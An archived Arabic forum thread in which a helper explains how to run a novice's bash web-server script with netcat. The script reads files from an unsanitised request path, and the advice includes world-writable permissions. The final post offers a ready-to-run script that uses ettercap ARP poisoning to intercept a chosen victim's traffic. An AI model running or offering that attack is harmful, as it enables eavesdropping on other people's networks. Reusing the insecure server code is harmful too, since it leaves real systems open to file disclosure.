الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مشكلة في فهم سكربت شل

بدأه khaled_prg في 24 يونيو 2012 · 18 رد · 1,051 مشاهدة · في نظام تشغيل Unix & Linux
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

لدي مشكلة في تنفيذ هذا السكربت :

#! /bin/sh
base=/home/www
read request
while true; do
  read header
  if [ "$header" == $'\r' ]; then
    break
  fi
done
urlfile=`echo "$request" | sed -r "s/.*GET[ ]+[\/]?(.*)[ ]+HTTP.*/\1/g"`
if [ -z "$urlfile" ]; then
   urlfile="index.html"
fi
filename="$base/$urlfile"
if [ -f "$filename" ]; then
  echo -e "HTTP/1.1 200 OK\r"
  echo -e "Content-Type: text/html\r"
  echo -e "\r"
  cat "$filename"
  echo -e "\r"
else
  echo -e "HTTP/1.1 404 Not Found\r"
  echo -e "Content-Type: text/html\r"
  echo -e "\r"
  echo -e "404 Not Found\r"
  echo -e "Not Found
           The requested resource was not found\r"
  echo -e "\r"
fi

قمت بتنفيذ السكربت عن طريق chmode +x و ./NameOfShellScript و لكن لم أعرف مدخلات السكربت و مُخرجاته ؟

ملاحظة : أعمل حاليا على توزيعة Ubuntu.

شكرا.

#2

سلام عليك

هذا السكريبت يحاكي سرفر ويب لذلك لابد من عميل يتصل بالسيرفر

ولا بد من أداة اتصال تستقبل request القادمة من العميل والعميل سيكون متصفح أنترنت في نفس الجهاز أو من جهاز آخر

سنستعمل أداة الاتصال الشهير نات كات

قم تحميلها بهذا الامر

sudo apt get install netcat

ثم قم بإنشاء مجلد للويب بالأمر

sudo mkdir /home/www

ثم أعطه صلاحيات القراءة

chmod -R 744 /home/www

والآن قم بتشغيل أداة الاتصال نات كات واجعلها تتنصت على البورت 80 بهذا الأمر

netcat -l -l -p 80 -e ./web_server.sh

تأكد من تسمية السكريبت web_server.sh

وعطه صلاحيات التنفيذ

تنبيه مهم بسبب عجلتي لم أقم بتجربة السكريبت لذلك قد يحدث خطأ ما فأخبرني به وأنا سأعالجه ما استطعت

وعلى كل حال فقد أعطيتك فكرة تنير لك الطريق

الآن اذهب إلى المتصفح الخاص ثم اكتب localhost

والم

تم تعديل هذه المشاركة بواسطة linuxman في 24 يونيو 2012 في 16:19

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#3

أشكرك أخي على المساعدة.

قمت بتطبيق الخطوات التي ذكرتها و قد ظهرت لي الرسالة التالية :

Can't grab 0.0.0.0:80 with bind : Permission denied

مالمشكلة ؟

#4

نفذ هذا الأمر

sudo chmod -R 777 /home/www

ثم افتح تارمنال آخر واكتب فيه

netcat localhost 80

هذا الأمر الأخير سيقوم مقام المتصفح

تم تعديل هذه المشاركة بواسطة linuxman في 24 يونيو 2012 في 21:14

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#5

قمت بكتابة اﻷوامر و ظهرت لي الرسالة التالية :

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Method Not Implemented</title>
</head><body>
<h1>Method Not Implemented</h1>
<p>linux.html to /index.html not supported.<br /></p>
<hr>
<address>Apache/2.2.12 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

مالحل ؟

#6

سرفر الاباتشي عندك مشغل ولقد تم الاتصال به لا بالسرفر الذي انشأته

قم يالبحث عن العملية بالأمر

sudo ps -A | grep "apach"

ثم خذ رقم ال id أو اسم العملية ونفذ

sudo kill <رقم العملية>

ثم نفذ ما سبق

أرجو التوفيق

تم تعديل هذه المشاركة بواسطة linuxman في 24 يونيو 2012 في 22:47

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#8

حسن أخي

قم

بوضع الملف المرفق في المجلد /home/www

ثم شغل السكريبت بهذا الأمر

netcat -l -v -p 80 -e ./web_server.sh

الآن من المتصفح firefox اكتب localhost

واظن هذه المرة ان النتيجة ستكون إيجابية لأنني جريتها ونجحت

ولا تنس تعطيل سيرفر الأباتشي

index.html

تم تعديل هذه المشاركة بواسطة linuxman في 25 يونيو 2012 في 01:20

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#9

قمت باتباع الخطوات.

عندما أكتب localhost في الــ firefox تظهر لي It works

لكن عندما أكتب اﻷمر

netcat -l -v -p 80 -e ./web_server.sh

تظهر لي الرسالة :

Can't grab 0.0.0.0:80 with bind : Permission denied

بالمناسبة, أنا وضعت الشل على سطح المكتب و قمت بتنفيذ أوامر الترمنال من داخل سطح المكتب, هل لذلك تأثير ؟

تم تعديل هذه المشاركة بواسطة khaled_prg في 25 يونيو 2012 في 02:04

#10
اقتباس
عندما أكتب localhost في الــ firefox تظهر لي It works

عطل سيرفر الأباتشي فهو من يعطي هذا الميساج

وأعط المجلد www صلاحيات القراءة والتنفيذ بالأمر

sudo chmod -R 777 /home/www

اقتباس
بالمناسبة, أنا وضعت الشل على سطح المكتب و قمت بتنفيذ أوامر الترمنال من داخل سطح المكتب, هل لذلك تأثير ؟

لا يؤثر

تم تعديل هذه المشاركة بواسطة linuxman في 25 يونيو 2012 في 02:23

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#11
اقتباس
عطل سيرفر الأباتشي فهو من يعطي هذا الميساج

وأعط المجلد www صلاحيات القراءة والتنفيذ بالأمر

قمت بتعطيل سرفر الأباتشي و تأكدت من ذلك من خلال كتابة localhost في firefox, حيث ظهرت لي رسالة تفيد بأن السرفر غير موجود.

أيضا, أعطيت للمجلد www صلاحيات القراءة و التنفيذ.

اقتباس
الآن من المتصفح firefox اكتب localhost

واظن هذه المرة ان النتيجة ستكون إيجابية لأنني جريتها ونجحت

المشكلة في هذه الخطوة, عندما أقوم بهذه تظهر لي رسالة it works من جديد !

هل يمكنك إدراج صورة هذه الخطوة لديك, حتى أقارن بين ما يحدث عندي و عندك ؟

أعتذر عن كثرة الأسئلة :blush:

#12

إذا كنت متأكدا من تعطيل الاباتشي فظهور هذه الرسالة يعني أنك نجحت في تنفيذ السكريبت

مبروك

للتأكد فقط قم برفع الملف الموجود في مجلد /home/www

تم تعديل هذه المشاركة بواسطة linuxman في 25 يونيو 2012 في 19:39

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#13
اقتباس
إذا كنت متأكدا من تعطيل الاباتشي فظهور هذه الرسالة يعني أنك نجحت في تنفيذ السكريبت

مبروك

كيف أكود قد نجحت و هذه الرسالة ما زالت تظهر لي :

Can't grab 0.0.0.0:80 with bind : Permission denied

؟؟

اقتباس
للتأكد فقط قم برفع الملف الموجود في مجلد /home/www

ماذا تعني برفع الملف الموجود في مجلد /home/www ؟

مجلد www يحتوي على ملف الــ index الذي أعطيتَه لي !

#14

الرسالة التي ظهرت لك تفيد بأنك ليس ليدك صلاحيات التنفيذ

تأكد أنك شغلت السيرفر ويب بصلاحيات الروت

أو نفذ هذا الأمر

sudo netcat -lvv -p 80 -e ./web_server.sh

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#15

شكرا لك, أحس الآن أنني تقدمت خطوة إلى الأمام :)

قمت بعمل اتصال بالسرفر و قد نجح الإتصال :

post-225348-050757300 1340664079_thumb.p

فتحت ترمنال آخر و كتبت فيه الأمر :

post-225348-046254500 1340664061_thumb.p

ثم بعد ذلك أدخلت localhost و index.html لكن ظهر لي خطأ في الترمنال الأول, مالمشكلة ؟

المرفقات
shell 1.pngshell 2.png
#16

من قال لك أدخل هذه الكلمات

مدخلات السكريبت تأتي عبر الشبكة من العميل وهي عبارة عن روكاتس وخرجاته هي ما يظهر للعميل

على كل حال كان ينبغي أن ينجح الاتصال بالنات كات

ولكن جرب هذه المرة الاتصال من المتصفح

اكتب في المتصفح localhost ثم انظر ما هي النتيجة

بالتوفيق

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#17
اقتباس
جرب هذه المرة الاتصال من المتصفح

اكتب في المتصفح localhost ثم انظر ما هي النتيجة

الإتصال بالسرفر نجح و الحمد لله, أصبح يكتب لي It works :)

اقتباس
مدخلات السكريبت تأتي عبر الشبكة من العميل وهي عبارة عن روكاتس وخرجاته هي ما يظهر للعميل

عفوا, لم أفهم هذا !

أنا أريد تطبيقا عمليا لمدخلات و مخرجات السكربت .. يعني أريد أن أعطيه شيء و يظهر لي شيء آخر. كيف أفعل هذا ؟

تم تعديل هذه المشاركة بواسطة khaled_prg في 26 يونيو 2012 في 12:03

#18

بصراحة لا أدري ما يحدث في جهازك

من المفترض أن تظهر الصفحة التي رفعتها لك لا عبارة it works

هذا يدل شيء واحد وهو أن الاباتشي لا يزال يعمل

تأكد من تعطيله بصلاحيات الروت بالطريقة السابقة

اقتباس
عفوا, لم أفهم هذا !

أنا أريد تطبيقا عمليا لمدخلات و مخرجات السكربت .. يعني أريد أن أعطيه شيء و يظهر لي شيء آخر. كيف أفعل هذا ؟

حسنا إليك هذا السكريبت وقد كتبته أنا وهو في الاختراق

وتحتاج في تشغيله إلى برنامجين نصبهما هكذا

sudo apt-get install genlist ettercap

ثم هذا هو السكريبت له مدخلات وله مخرجات كما أردت

#!/bin/bash
# edit par ahmed_sh_80@hotmail.com
# enter as root then run the scripte
echo 1 > /proc/sys/net/ipv4/ip_forward
running=true
echo "selectionez votre interface"
echo "1-eth0"
echo "2-wlan0"
echo "3-autre"
while $running ; do
	read -p ">>> " x
	if [ $x = '1' ] ; then
		m_ip=$(ifconfig eth0 | grep 'inet adr:' | cut -d: -f2 | awk '{ print $1}')
		echo "votre ip est $m_ip"
		running=false
		read -p "pour optenir la list des ip entrer les trois chiffre de votre ip plus "".*"" .exp: 192.168.1.* : >> " ip
		genlist -s $ip # il faut installez genlist
		echo "le premier ip c'est l'ip de retour et l'autre pour les victimes"
		read -p "entrer ip du retour :" r
		read -p "entrer ip du victime :" v
		command ettercap -T -q -M ARP -F smb.ef /$r/ /$v/ -i eth0

	elif [ $x = '2' ] ; then
		m_ip=$(ifconfig wlan0 | grep 'inet adr:' | cut -d: -f2 | awk '{ print $1}')
		echo "votre ip est $m_ip"
		running=false
		read -p "pour optenir la list des ip enter les trois chiffre de votre ip plus "".*"" .exp: 192.168.1.* : " ip
		genlist -s $ip # il faut installez genlist
		echo "le premier ip c'est l'ip de retour et l'autre pour les victimes"
		read -p "entrer ip du retour :" r
		read -p "entrer ip du victime :" v
		command ettercap -T -q -M ARP -F smb.ef /$r/ /$v/ -i wlan0
	elif [ $x = '3' ] ; then
		running=false
		read -p "entrer votre interface >> " interface
		m_ip=$(ifconfig $interface | grep 'inet adr:' | cut -d: -f2 | awk '{ print $1}')
		read -p "pour optenir la list des ip enter les trois chiffre de votre ip plus "".*"" .exp: 192.168.1.* : " ip
		genlist -s $ip # il faut installez genlist
		echo "le premier ip c'est l'ip de retour et l'autre pour les victimes"
		read -p "entrer ip du retour :" r
		read -p "entrer ip du victime :" v
		command ettercap -T -q -M ARP -F smb.ef /$r/ /$v/ -i $interface
	else
		echo 'invalide entrée' 
	fi
done

بعد هذا أنا وأنت شريكان في الشهادة التي ستتحصل عليها

تم تعديل هذه المشاركة بواسطة linuxman في 26 يونيو 2012 في 19:55

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

مواضيع مشابهة